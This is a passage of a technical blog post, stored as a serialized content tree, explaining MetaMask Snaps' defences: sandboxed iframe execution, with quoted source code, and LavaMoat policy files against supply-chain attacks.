`",{"type":20,"tag":315,"props":34399,"children":34400},{"style":541},[34401],{"type":26,"value":32523},{"type":20,"tag":315,"props":34403,"children":34404},{"style":635},[34405],{"type":26,"value":34406},"controllerName",{"type":20,"tag":315,"props":34408,"children":34409},{"style":541},[34410],{"type":26,"value":32555},{"type":20,"tag":315,"props":34412,"children":34413},{"style":2652},[34414],{"type":26,"value":34415},":handleRpcRequest`",{"type":20,"tag":315,"props":34417,"children":34418},{"style":328},[34419],{"type":26,"value":643},{"type":20,"tag":315,"props":34421,"children":34422},{"class":317,"line":374},[34423,34428,34432,34437,34441,34446,34450,34455,34459,34464,34468],{"type":20,"tag":315,"props":34424,"children":34425},{"style":541},[34426],{"type":26,"value":34427}," async",{"type":20,"tag":315,"props":34429,"children":34430},{"style":328},[34431],{"type":26,"value":463},{"type":20,"tag":315,"props":34433,"children":34434},{"style":635},[34435],{"type":26,"value":34436},"snapId",{"type":20,"tag":315,"props":34438,"children":34439},{"style":334},[34440],{"type":26,"value":2884},{"type":20,"tag":315,"props":34442,"children":34443},{"style":322},[34444],{"type":26,"value":34445}," string",{"type":20,"tag":315,"props":34447,"children":34448},{"style":328},[34449],{"type":26,"value":44},{"type":20,"tag":315,"props":34451,"children":34452},{"style":635},[34453],{"type":26,"value":34454},"options",{"type":20,"tag":315,"props":34456,"children":34457},{"style":334},[34458],{"type":26,"value":2884},{"type":20,"tag":315,"props":34460,"children":34461},{"style":322},[34462],{"type":26,"value":34463}," SnapRpcHookArgs",{"type":20,"tag":315,"props":34465,"children":34466},{"style":328},[34467],{"type":26,"value":1468},{"type":20,"tag":315,"props":34469,"children":34470},{"style":541},[34471],{"type":26,"value":34472},"=>\n",{"type":20,"tag":315,"props":34474,"children":34475},{"class":317,"line":383},[34476,34481,34485,34490,34494,34498,34502,34506],{"type":20,"tag":315,"props":34477,"children":34478},{"style":541},[34479],{"type":26,"value":34480}," this",{"type":20,"tag":315,"props":34482,"children":34483},{"style":328},[34484],{"type":26,"value":61},{"type":20,"tag":315,"props":34486,"children":34487},{"style":345},[34488],{"type":26,"value":34489},"handleRpcRequest",{"type":20,"tag":315,"props":34491,"children":34492},{"style":328},[34493],{"type":26,"value":1049},{"type":20,"tag":315,"props":34495,"children":34496},{"style":635},[34497],{"type":26,"value":34436},{"type":20,"tag":315,"props":34499,"children":34500},{"style":328},[34501],{"type":26,"value":44},{"type":20,"tag":315,"props":34503,"children":34504},{"style":635},[34505],{"type":26,"value":34454},{"type":20,"tag":315,"props":34507,"children":34508},{"style":328},[34509],{"type":26,"value":5131},{"type":20,"tag":315,"props":34511,"children":34512},{"class":317,"line":407},[34513],{"type":20,"tag":315,"props":34514,"children":34515},{"style":328},[34516],{"type":26,"value":2214},{"type":20,"tag":315,"props":34518,"children":34519},{"class":317,"line":421},[34520],{"type":20,"tag":315,"props":34521,"children":34522},{"emptyLinePlaceholder":15},[34523],{"type":26,"value":427},{"type":20,"tag":315,"props":34525,"children":34526},{"class":317,"line":430},[34527],{"type":20,"tag":315,"props":34528,"children":34529},{"style":1071},[34530],{"type":26,"value":34531},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":20,"tag":315,"props":34533,"children":34534},{"class":317,"line":453},[34535],{"type":20,"tag":315,"props":34536,"children":34537},{"style":1071},[34538],{"type":26,"value":34051},{"type":20,"tag":315,"props":34540,"children":34541},{"class":317,"line":486},[34542],{"type":20,"tag":315,"props":34543,"children":34544},{"emptyLinePlaceholder":15},[34545],{"type":26,"value":427},{"type":20,"tag":315,"props":34547,"children":34548},{"class":317,"line":499},[34549],{"type":20,"tag":315,"props":34550,"children":34551},{"style":1071},[34552],{"type":26,"value":34553},"// Execute a snap\n",{"type":20,"tag":315,"props":34555,"children":34556},{"class":317,"line":513},[34557,34562,34567,34571,34576,34580,34585],{"type":20,"tag":315,"props":34558,"children":34559},{"style":635},[34560],{"type":26,"value":34561},"async",{"type":20,"tag":315,"props":34563,"children":34564},{"style":345},[34565],{"type":26,"value":34566}," executeSnap",{"type":20,"tag":315,"props":34568,"children":34569},{"style":328},[34570],{"type":26,"value":1049},{"type":20,"tag":315,"props":34572,"children":34573},{"style":635},[34574],{"type":26,"value":34575},"snapData",{"type":20,"tag":315,"props":34577,"children":34578},{"style":328},[34579],{"type":26,"value":13732},{"type":20,"tag":315,"props":34581,"children":34582},{"style":635},[34583],{"type":26,"value":34584},"SnapExecutionData",{"type":20,"tag":315,"props":34586,"children":34587},{"style":328},[34588],{"type":26,"value":549},{"type":20,"tag":315,"props":34590,"children":34591},{"class":317,"line":521},[34592],{"type":20,"tag":315,"props":34593,"children":34594},{"style":1071},[34595],{"type":26,"value":34596}," // Initialize job, streams, and environment\n",{"type":20,"tag":315,"props":34598,"children":34599},{"class":317,"line":552},[34600,34605,34609,34614,34619,34623,34628,34632,34636,34641,34645,34649],{"type":20,"tag":315,"props":34601,"children":34602},{"style":541},[34603],{"type":26,"value":34604}," const",{"type":20,"tag":315,"props":34606,"children":34607},{"style":328},[34608],{"type":26,"value":7985},{"type":20,"tag":315,"props":34610,"children":34611},{"style":635},[34612],{"type":26,"value":34613},"jobId",{"type":20,"tag":315,"props":34615,"children":34616},{"style":328},[34617],{"type":26,"value":34618}," } ",{"type":20,"tag":315,"props":34620,"children":34621},{"style":334},[34622],{"type":26,"value":337},{"type":20,"tag":315,"props":34624,"children":34625},{"style":525},[34626],{"type":26,"value":34627}," await",{"type":20,"tag":315,"props":34629,"children":34630},{"style":541},[34631],{"type":26,"value":34132},{"type":20,"tag":315,"props":34633,"children":34634},{"style":328},[34635],{"type":26,"value":61},{"type":20,"tag":315,"props":34637,"children":34638},{"style":345},[34639],{"type":26,"value":34640},"initJob",{"type":20,"tag":315,"props":34642,"children":34643},{"style":328},[34644],{"type":26,"value":1049},{"type":20,"tag":315,"props":34646,"children":34647},{"style":635},[34648],{"type":26,"value":34575},{"type":20,"tag":315,"props":34650,"children":34651},{"style":328},[34652],{"type":26,"value":2214},{"type":20,"tag":315,"props":34654,"children":34655},{"class":317,"line":571},[34656,34660,34664,34669,34673,34678,34682,34686,34690,34694,34698,34703,34707,34711],{"type":20,"tag":315,"props":34657,"children":34658},{"style":541},[34659],{"type":26,"value":34604},{"type":20,"tag":315,"props":34661,"children":34662},{"style":328},[34663],{"type":26,"value":7985},{"type":20,"tag":315,"props":34665,"children":34666},{"style":635},[34667],{"type":26,"value":34668},"worker",{"type":20,"tag":315,"props":34670,"children":34671},{"style":328},[34672],{"type":26,"value":44},{"type":20,"tag":315,"props":34674,"children":34675},{"style":635},[34676],{"type":26,"value":34677},"stream",{"type":20,"tag":315,"props":34679,"children":34680},{"style":328},[34681],{"type":26,"value":34618},{"type":20,"tag":315,"props":34683,"children":34684},{"style":334},[34685],{"type":26,"value":337},{"type":20,"tag":315,"props":34687,"children":34688},{"style":525},[34689],{"type":26,"value":34627},{"type":20,"tag":315,"props":34691,"children":34692},{"style":541},[34693],{"type":26,"value":34132},{"type":20,"tag":315,"props":34695,"children":34696},{"style":328},[34697],{"type":26,"value":61},{"type":20,"tag":315,"props":34699,"children":34700},{"style":345},[34701],{"type":26,"value":34702},"initEnvStream",{"type":20,"tag":315,"props":34704,"children":34705},{"style":328},[34706],{"type":26,"value":1049},{"type":20,"tag":315,"props":34708,"children":34709},{"style":635},[34710],{"type":26,"value":34613},{"type":20,"tag":315,"props":34712,"children":34713},{"style":328},[34714],{"type":26,"value":2214},{"type":20,"tag":315,"props":34716,"children":34717},{"class":317,"line":2031},[34718],{"type":20,"tag":315,"props":34719,"children":34720},{"style":1071},[34721],{"type":26,"value":34722}," // ...\n",{"type":20,"tag":315,"props":34724,"children":34725},{"class":317,"line":2053},[34726],{"type":20,"tag":315,"props":34727,"children":34728},{"style":328},[34729],{"type":26,"value":577},{"type":20,"tag":29,"props":34731,"children":34732},{},[34733,34734,34739,34741,34747],{"type":26,"value":15015},{"type":20,"tag":119,"props":34735,"children":34737},{"className":34736},[],[34738],{"type":26,"value":34309},{"type":26,"value":34740}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":20,"tag":119,"props":34742,"children":34744},{"className":34743},[],[34745],{"type":26,"value":34746},"${controllerName}:executeSnap",{"type":26,"value":34748}," handler triggers the snap execution process.",{"type":20,"tag":17297,"props":34750,"children":34752},{"id":34751},"step-by-step-execution-from-initialization-to-iframe-creation",[34753,34755],{"type":26,"value":34754},"Step-by-Step Execution: From Initialization to iFrame ",{"type":20,"tag":35,"props":34756,"children":34759},{"href":34757,"rel":34758},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[39],[34760],{"type":26,"value":34761},"creation",{"type":20,"tag":305,"props":34763,"children":34765},{"className":34346,"code":34764,"language":34348,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n worker: Window;\n stream: BasePostMessageStream;\n }> {\n const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n const stream = new WindowPostMessageStream({\n name: 'parent',\n target: 'child',\n targetWindow: iframeWindow,\n targetOrigin: '*',\n });\n\n return { worker: iframeWindow, stream };\n }\n",[34766],{"type":20,"tag":119,"props":34767,"children":34768},{"__ignoreMap":7},[34769,34818,34839,34860,34868,34932,34939,34967,34984,35001,35018,35035,35042,35049,35073],{"type":20,"tag":315,"props":34770,"children":34771},{"class":317,"line":318},[34772,34777,34782,34787,34791,34795,34799,34803,34808,34813],{"type":20,"tag":315,"props":34773,"children":34774},{"style":635},[34775],{"type":26,"value":34776},"protected",{"type":20,"tag":315,"props":34778,"children":34779},{"style":635},[34780],{"type":26,"value":34781}," async",{"type":20,"tag":315,"props":34783,"children":34784},{"style":345},[34785],{"type":26,"value":34786}," initEnvStream",{"type":20,"tag":315,"props":34788,"children":34789},{"style":328},[34790],{"type":26,"value":1049},{"type":20,"tag":315,"props":34792,"children":34793},{"style":635},[34794],{"type":26,"value":34613},{"type":20,"tag":315,"props":34796,"children":34797},{"style":328},[34798],{"type":26,"value":13732},{"type":20,"tag":315,"props":34800,"children":34801},{"style":635},[34802],{"type":26,"value":28082},{"type":20,"tag":315,"props":34804,"children":34805},{"style":328},[34806],{"type":26,"value":34807},"): ",{"type":20,"tag":315,"props":34809,"children":34810},{"style":322},[34811],{"type":26,"value":34812},"Promise",{"type":20,"tag":315,"props":34814,"children":34815},{"style":328},[34816],{"type":26,"value":34817},"\u003C{\n",{"type":20,"tag":315,"props":34819,"children":34820},{"class":317,"line":356},[34821,34826,34830,34835],{"type":20,"tag":315,"props":34822,"children":34823},{"style":635},[34824],{"type":26,"value":34825}," worker",{"type":20,"tag":315,"props":34827,"children":34828},{"style":334},[34829],{"type":26,"value":2884},{"type":20,"tag":315,"props":34831,"children":34832},{"style":322},[34833],{"type":26,"value":34834}," Window",{"type":20,"tag":315,"props":34836,"children":34837},{"style":328},[34838],{"type":26,"value":1405},{"type":20,"tag":315,"props":34840,"children":34841},{"class":317,"line":365},[34842,34847,34851,34856],{"type":20,"tag":315,"props":34843,"children":34844},{"style":635},[34845],{"type":26,"value":34846}," stream",{"type":20,"tag":315,"props":34848,"children":34849},{"style":334},[34850],{"type":26,"value":2884},{"type":20,"tag":315,"props":34852,"children":34853},{"style":322},[34854],{"type":26,"value":34855}," BasePostMessageStream",{"type":20,"tag":315,"props":34857,"children":34858},{"style":328},[34859],{"type":26,"value":1405},{"type":20,"tag":315,"props":34861,"children":34862},{"class":317,"line":374},[34863],{"type":20,"tag":315,"props":34864,"children":34865},{"style":328},[34866],{"type":26,"value":34867}," }> {\n",{"type":20,"tag":315,"props":34869,"children":34870},{"class":317,"line":383},[34871,34876,34881,34885,34889,34894,34898,34902,34906,34911,34915,34920,34924,34928],{"type":20,"tag":315,"props":34872,"children":34873},{"style":328},[34874],{"type":26,"value":34875}," const ",{"type":20,"tag":315,"props":34877,"children":34878},{"style":635},[34879],{"type":26,"value":34880},"iframeWindow",{"type":20,"tag":315,"props":34882,"children":34883},{"style":334},[34884],{"type":26,"value":1395},{"type":20,"tag":315,"props":34886,"children":34887},{"style":525},[34888],{"type":26,"value":34627},{"type":20,"tag":315,"props":34890,"children":34891},{"style":345},[34892],{"type":26,"value":34893}," createWindow",{"type":20,"tag":315,"props":34895,"children":34896},{"style":328},[34897],{"type":26,"value":1049},{"type":20,"tag":315,"props":34899,"children":34900},{"style":541},[34901],{"type":26,"value":16095},{"type":20,"tag":315,"props":34903,"children":34904},{"style":328},[34905],{"type":26,"value":61},{"type":20,"tag":315,"props":34907,"children":34908},{"style":635},[34909],{"type":26,"value":34910},"iframeUrl",{"type":20,"tag":315,"props":34912,"children":34913},{"style":328},[34914],{"type":26,"value":61},{"type":20,"tag":315,"props":34916,"children":34917},{"style":345},[34918],{"type":26,"value":34919},"toString",{"type":20,"tag":315,"props":34921,"children":34922},{"style":328},[34923],{"type":26,"value":16778},{"type":20,"tag":315,"props":34925,"children":34926},{"style":635},[34927],{"type":26,"value":34613},{"type":20,"tag":315,"props":34929,"children":34930},{"style":328},[34931],{"type":26,"value":2214},{"type":20,"tag":315,"props":34933,"children":34934},{"class":317,"line":407},[34935],{"type":20,"tag":315,"props":34936,"children":34937},{"emptyLinePlaceholder":15},[34938],{"type":26,"value":427},{"type":20,"tag":315,"props":34940,"children":34941},{"class":317,"line":421},[34942,34946,34950,34954,34958,34963],{"type":20,"tag":315,"props":34943,"children":34944},{"style":328},[34945],{"type":26,"value":34875},{"type":20,"tag":315,"props":34947,"children":34948},{"style":635},[34949],{"type":26,"value":34677},{"type":20,"tag":315,"props":34951,"children":34952},{"style":334},[34953],{"type":26,"value":1395},{"type":20,"tag":315,"props":34955,"children":34956},{"style":541},[34957],{"type":26,"value":30348},{"type":20,"tag":315,"props":34959,"children":34960},{"style":345},[34961],{"type":26,"value":34962}," WindowPostMessageStream",{"type":20,"tag":315,"props":34964,"children":34965},{"style":328},[34966],{"type":26,"value":13541},{"type":20,"tag":315,"props":34968,"children":34969},{"class":317,"line":430},[34970,34975,34980],{"type":20,"tag":315,"props":34971,"children":34972},{"style":635},[34973],{"type":26,"value":34974}," name:",{"type":20,"tag":315,"props":34976,"children":34977},{"style":2652},[34978],{"type":26,"value":34979}," 'parent'",{"type":20,"tag":315,"props":34981,"children":34982},{"style":328},[34983],{"type":26,"value":643},{"type":20,"tag":315,"props":34985,"children":34986},{"class":317,"line":453},[34987,34992,34997],{"type":20,"tag":315,"props":34988,"children":34989},{"style":635},[34990],{"type":26,"value":34991}," target:",{"type":20,"tag":315,"props":34993,"children":34994},{"style":2652},[34995],{"type":26,"value":34996}," 'child'",{"type":20,"tag":315,"props":34998,"children":34999},{"style":328},[35000],{"type":26,"value":643},{"type":20,"tag":315,"props":35002,"children":35003},{"class":317,"line":486},[35004,35009,35014],{"type":20,"tag":315,"props":35005,"children":35006},{"style":635},[35007],{"type":26,"value":35008}," targetWindow:",{"type":20,"tag":315,"props":35010,"children":35011},{"style":635},[35012],{"type":26,"value":35013}," iframeWindow",{"type":20,"tag":315,"props":35015,"children":35016},{"style":328},[35017],{"type":26,"value":643},{"type":20,"tag":315,"props":35019,"children":35020},{"class":317,"line":499},[35021,35026,35031],{"type":20,"tag":315,"props":35022,"children":35023},{"style":635},[35024],{"type":26,"value":35025}," targetOrigin:",{"type":20,"tag":315,"props":35027,"children":35028},{"style":2652},[35029],{"type":26,"value":35030}," '*'",{"type":20,"tag":315,"props":35032,"children":35033},{"style":328},[35034],{"type":26,"value":643},{"type":20,"tag":315,"props":35036,"children":35037},{"class":317,"line":513},[35038],{"type":20,"tag":315,"props":35039,"children":35040},{"style":328},[35041],{"type":26,"value":30672},{"type":20,"tag":315,"props":35043,"children":35044},{"class":317,"line":521},[35045],{"type":20,"tag":315,"props":35046,"children":35047},{"emptyLinePlaceholder":15},[35048],{"type":26,"value":427},{"type":20,"tag":315,"props":35050,"children":35051},{"class":317,"line":552},[35052,35057,35061,35065,35069],{"type":20,"tag":315,"props":35053,"children":35054},{"style":328},[35055],{"type":26,"value":35056}," return { worker: ",{"type":20,"tag":315,"props":35058,"children":35059},{"style":635},[35060],{"type":26,"value":34880},{"type":20,"tag":315,"props":35062,"children":35063},{"style":328},[35064],{"type":26,"value":44},{"type":20,"tag":315,"props":35066,"children":35067},{"style":635},[35068],{"type":26,"value":34677},{"type":20,"tag":315,"props":35070,"children":35071},{"style":328},[35072],{"type":26,"value":16702},{"type":20,"tag":315,"props":35074,"children":35075},{"class":317,"line":571},[35076],{"type":20,"tag":315,"props":35077,"children":35078},{"style":328},[35079],{"type":26,"value":4265},{"type":20,"tag":29,"props":35081,"children":35082},{},[35083,35085,35091,35093,35100],{"type":26,"value":35084},"Here the iframe is created via ",{"type":20,"tag":119,"props":35086,"children":35088},{"className":35087},[],[35089],{"type":26,"value":35090},"createWindow",{"type":26,"value":35092},", which is defined in snaps-utils ",{"type":20,"tag":35,"props":35094,"children":35097},{"href":35095,"rel":35096},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[39],[35098],{"type":26,"value":35099},"package",{"type":26,"value":2884},{"type":20,"tag":305,"props":35102,"children":35104},{"className":34346,"code":35103,"language":34348,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n iframe.setAttribute('id', id);\n iframe.setAttribute('data-testid', 'snaps-iframe');\n\n if (sandbox) {\n iframe.setAttribute('sandbox', 'allow-scripts');\n }\n iframe.setAttribute('src', uri);\n document.body.appendChild(iframe);\n",[35105],{"type":20,"tag":119,"props":35106,"children":35107},{"__ignoreMap":7},[35108,35151,35189,35226,35233,35253,35291,35298,35335],{"type":20,"tag":315,"props":35109,"children":35110},{"class":317,"line":318},[35111,35115,35120,35124,35129,35133,35138,35142,35147],{"type":20,"tag":315,"props":35112,"children":35113},{"style":541},[35114],{"type":26,"value":8054},{"type":20,"tag":315,"props":35116,"children":35117},{"style":635},[35118],{"type":26,"value":35119}," iframe",{"type":20,"tag":315,"props":35121,"children":35122},{"style":334},[35123],{"type":26,"value":1395},{"type":20,"tag":315,"props":35125,"children":35126},{"style":635},[35127],{"type":26,"value":35128}," document",{"type":20,"tag":315,"props":35130,"children":35131},{"style":328},[35132],{"type":26,"value":61},{"type":20,"tag":315,"props":35134,"children":35135},{"style":345},[35136],{"type":26,"value":35137},"createElement",{"type":20,"tag":315,"props":35139,"children":35140},{"style":328},[35141],{"type":26,"value":1049},{"type":20,"tag":315,"props":35143,"children":35144},{"style":2652},[35145],{"type":26,"value":35146},"'iframe'",{"type":20,"tag":315,"props":35148,"children":35149},{"style":328},[35150],{"type":26,"value":2214},{"type":20,"tag":315,"props":35152,"children":35153},{"class":317,"line":356},[35154,35159,35163,35168,35172,35177,35181,35185],{"type":20,"tag":315,"props":35155,"children":35156},{"style":635},[35157],{"type":26,"value":35158}," iframe",{"type":20,"tag":315,"props":35160,"children":35161},{"style":328},[35162],{"type":26,"value":61},{"type":20,"tag":315,"props":35164,"children":35165},{"style":345},[35166],{"type":26,"value":35167},"setAttribute",{"type":20,"tag":315,"props":35169,"children":35170},{"style":328},[35171],{"type":26,"value":1049},{"type":20,"tag":315,"props":35173,"children":35174},{"style":2652},[35175],{"type":26,"value":35176},"'id'",{"type":20,"tag":315,"props":35178,"children":35179},{"style":328},[35180],{"type":26,"value":44},{"type":20,"tag":315,"props":35182,"children":35183},{"style":635},[35184],{"type":26,"value":1866},{"type":20,"tag":315,"props":35186,"children":35187},{"style":328},[35188],{"type":26,"value":2214},{"type":20,"tag":315,"props":35190,"children":35191},{"class":317,"line":365},[35192,35196,35200,35204,35208,35213,35217,35222],{"type":20,"tag":315,"props":35193,"children":35194},{"style":635},[35195],{"type":26,"value":35158},{"type":20,"tag":315,"props":35197,"children":35198},{"style":328},[35199],{"type":26,"value":61},{"type":20,"tag":315,"props":35201,"children":35202},{"style":345},[35203],{"type":26,"value":35167},{"type":20,"tag":315,"props":35205,"children":35206},{"style":328},[35207],{"type":26,"value":1049},{"type":20,"tag":315,"props":35209,"children":35210},{"style":2652},[35211],{"type":26,"value":35212},"'data-testid'",{"type":20,"tag":315,"props":35214,"children":35215},{"style":328},[35216],{"type":26,"value":44},{"type":20,"tag":315,"props":35218,"children":35219},{"style":2652},[35220],{"type":26,"value":35221},"'snaps-iframe'",{"type":20,"tag":315,"props":35223,"children":35224},{"style":328},[35225],{"type":26,"value":2214},{"type":20,"tag":315,"props":35227,"children":35228},{"class":317,"line":374},[35229],{"type":20,"tag":315,"props":35230,"children":35231},{"emptyLinePlaceholder":15},[35232],{"type":26,"value":427},{"type":20,"tag":315,"props":35234,"children":35235},{"class":317,"line":383},[35236,35240,35244,35249],{"type":20,"tag":315,"props":35237,"children":35238},{"style":525},[35239],{"type":26,"value":10680},{"type":20,"tag":315,"props":35241,"children":35242},{"style":328},[35243],{"type":26,"value":463},{"type":20,"tag":315,"props":35245,"children":35246},{"style":635},[35247],{"type":26,"value":35248},"sandbox",{"type":20,"tag":315,"props":35250,"children":35251},{"style":328},[35252],{"type":26,"value":549},{"type":20,"tag":315,"props":35254,"children":35255},{"class":317,"line":407},[35256,35261,35265,35269,35273,35278,35282,35287],{"type":20,"tag":315,"props":35257,"children":35258},{"style":635},[35259],{"type":26,"value":35260}," iframe",{"type":20,"tag":315,"props":35262,"children":35263},{"style":328},[35264],{"type":26,"value":61},{"type":20,"tag":315,"props":35266,"children":35267},{"style":345},[35268],{"type":26,"value":35167},{"type":20,"tag":315,"props":35270,"children":35271},{"style":328},[35272],{"type":26,"value":1049},{"type":20,"tag":315,"props":35274,"children":35275},{"style":2652},[35276],{"type":26,"value":35277},"'sandbox'",{"type":20,"tag":315,"props":35279,"children":35280},{"style":328},[35281],{"type":26,"value":44},{"type":20,"tag":315,"props":35283,"children":35284},{"style":2652},[35285],{"type":26,"value":35286},"'allow-scripts'",{"type":20,"tag":315,"props":35288,"children":35289},{"style":328},[35290],{"type":26,"value":2214},{"type":20,"tag":315,"props":35292,"children":35293},{"class":317,"line":421},[35294],{"type":20,"tag":315,"props":35295,"children":35296},{"style":328},[35297],{"type":26,"value":1736},{"type":20,"tag":315,"props":35299,"children":35300},{"class":317,"line":430},[35301,35305,35309,35313,35317,35322,35326,35331],{"type":20,"tag":315,"props":35302,"children":35303},{"style":635},[35304],{"type":26,"value":35158},{"type":20,"tag":315,"props":35306,"children":35307},{"style":328},[35308],{"type":26,"value":61},{"type":20,"tag":315,"props":35310,"children":35311},{"style":345},[35312],{"type":26,"value":35167},{"type":20,"tag":315,"props":35314,"children":35315},{"style":328},[35316],{"type":26,"value":1049},{"type":20,"tag":315,"props":35318,"children":35319},{"style":2652},[35320],{"type":26,"value":35321},"'src'",{"type":20,"tag":315,"props":35323,"children":35324},{"style":328},[35325],{"type":26,"value":44},{"type":20,"tag":315,"props":35327,"children":35328},{"style":635},[35329],{"type":26,"value":35330},"uri",{"type":20,"tag":315,"props":35332,"children":35333},{"style":328},[35334],{"type":26,"value":2214},{"type":20,"tag":315,"props":35336,"children":35337},{"class":317,"line":453},[35338,35342,35346,35350,35354,35359,35363,35368],{"type":20,"tag":315,"props":35339,"children":35340},{"style":635},[35341],{"type":26,"value":33088},{"type":20,"tag":315,"props":35343,"children":35344},{"style":328},[35345],{"type":26,"value":61},{"type":20,"tag":315,"props":35347,"children":35348},{"style":635},[35349],{"type":26,"value":30815},{"type":20,"tag":315,"props":35351,"children":35352},{"style":328},[35353],{"type":26,"value":61},{"type":20,"tag":315,"props":35355,"children":35356},{"style":345},[35357],{"type":26,"value":35358},"appendChild",{"type":20,"tag":315,"props":35360,"children":35361},{"style":328},[35362],{"type":26,"value":1049},{"type":20,"tag":315,"props":35364,"children":35365},{"style":635},[35366],{"type":26,"value":35367},"iframe",{"type":20,"tag":315,"props":35369,"children":35370},{"style":328},[35371],{"type":26,"value":2214},{"type":20,"tag":29,"props":35373,"children":35374},{},[35375],{"type":26,"value":35376},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":20,"tag":219,"props":35378,"children":35380},{"id":35379},"lavamoat-against-supply-chain-attacks-layer-2",[35381],{"type":26,"value":35382},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":20,"tag":29,"props":35384,"children":35385},{},[35386],{"type":26,"value":35387},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":20,"tag":29,"props":35389,"children":35390},{},[35391,35393,35399],{"type":26,"value":35392},"Malicious dependencies might utilize built-in modules like ",{"type":20,"tag":119,"props":35394,"children":35396},{"className":35395},[],[35397],{"type":26,"value":35398},"fs",{"type":26,"value":35400},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":20,"tag":29,"props":35402,"children":35403},{},[35404],{"type":26,"value":35405},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":20,"tag":29,"props":35407,"children":35408},{},[35409,35411,35418],{"type":26,"value":35410},"This is how a Policy file related to the iframes ",{"type":20,"tag":35,"props":35412,"children":35415},{"href":35413,"rel":35414},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[39],[35416],{"type":26,"value":35417},"looks",{"type":26,"value":2884},{"type":20,"tag":305,"props":35420,"children":35422},{"className":32410,"code":35421,"language":32412,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n \"globals\": {\n \"MessageEvent.prototype\": true,\n \"WorkerGlobalScope\": true,\n \"addEventListener\": true,\n \"browser\": true,\n \"chrome\": true,\n \"location.origin\": true,\n \"postMessage\": true,\n \"removeEventListener\": true\n },\n \"packages\": {\n \"@metamask/post-message-stream>@metamask/utils\": true,\n \"@metamask/post-message-stream>readable-stream\": true\n }\n }\n",[35423],{"type":20,"tag":119,"props":35424,"children":35425},{"__ignoreMap":7},[35426,35439,35451,35471,35491,35511,35531,35551,35571,35591,35608,35616,35628,35648,35664,35671],{"type":20,"tag":315,"props":35427,"children":35428},{"class":317,"line":318},[35429,35434],{"type":20,"tag":315,"props":35430,"children":35431},{"style":2652},[35432],{"type":26,"value":35433},"\"@metamask/post-message-stream\"",{"type":20,"tag":315,"props":35435,"children":35436},{"style":328},[35437],{"type":26,"value":35438},": {\n",{"type":20,"tag":315,"props":35440,"children":35441},{"class":317,"line":356},[35442,35447],{"type":20,"tag":315,"props":35443,"children":35444},{"style":635},[35445],{"type":26,"value":35446}," \"globals\"",{"type":20,"tag":315,"props":35448,"children":35449},{"style":328},[35450],{"type":26,"value":35438},{"type":20,"tag":315,"props":35452,"children":35453},{"class":317,"line":365},[35454,35459,35463,35467],{"type":20,"tag":315,"props":35455,"children":35456},{"style":635},[35457],{"type":26,"value":35458}," \"MessageEvent.prototype\"",{"type":20,"tag":315,"props":35460,"children":35461},{"style":328},[35462],{"type":26,"value":13732},{"type":20,"tag":315,"props":35464,"children":35465},{"style":541},[35466],{"type":26,"value":2387},{"type":20,"tag":315,"props":35468,"children":35469},{"style":328},[35470],{"type":26,"value":643},{"type":20,"tag":315,"props":35472,"children":35473},{"class":317,"line":374},[35474,35479,35483,35487],{"type":20,"tag":315,"props":35475,"children":35476},{"style":635},[35477],{"type":26,"value":35478}," \"WorkerGlobalScope\"",{"type":20,"tag":315,"props":35480,"children":35481},{"style":328},[35482],{"type":26,"value":13732},{"type":20,"tag":315,"props":35484,"children":35485},{"style":541},[35486],{"type":26,"value":2387},{"type":20,"tag":315,"props":35488,"children":35489},{"style":328},[35490],{"type":26,"value":643},{"type":20,"tag":315,"props":35492,"children":35493},{"class":317,"line":383},[35494,35499,35503,35507],{"type":20,"tag":315,"props":35495,"children":35496},{"style":635},[35497],{"type":26,"value":35498}," \"addEventListener\"",{"type":20,"tag":315,"props":35500,"children":35501},{"style":328},[35502],{"type":26,"value":13732},{"type":20,"tag":315,"props":35504,"children":35505},{"style":541},[35506],{"type":26,"value":2387},{"type":20,"tag":315,"props":35508,"children":35509},{"style":328},[35510],{"type":26,"value":643},{"type":20,"tag":315,"props":35512,"children":35513},{"class":317,"line":407},[35514,35519,35523,35527],{"type":20,"tag":315,"props":35515,"children":35516},{"style":635},[35517],{"type":26,"value":35518}," \"browser\"",{"type":20,"tag":315,"props":35520,"children":35521},{"style":328},[35522],{"type":26,"value":13732},{"type":20,"tag":315,"props":35524,"children":35525},{"style":541},[35526],{"type":26,"value":2387},{"type":20,"tag":315,"props":35528,"children":35529},{"style":328},[35530],{"type":26,"value":643},{"type":20,"tag":315,"props":35532,"children":35533},{"class":317,"line":421},[35534,35539,35543,35547],{"type":20,"tag":315,"props":35535,"children":35536},{"style":635},[35537],{"type":26,"value":35538}," \"chrome\"",{"type":20,"tag":315,"props":35540,"children":35541},{"style":328},[35542],{"type":26,"value":13732},{"type":20,"tag":315,"props":35544,"children":35545},{"style":541},[35546],{"type":26,"value":2387},{"type":20,"tag":315,"props":35548,"children":35549},{"style":328},[35550],{"type":26,"value":643},{"type":20,"tag":315,"props":35552,"children":35553},{"class":317,"line":430},[35554,35559,35563,35567],{"type":20,"tag":315,"props":35555,"children":35556},{"style":635},[35557],{"type":26,"value":35558}," 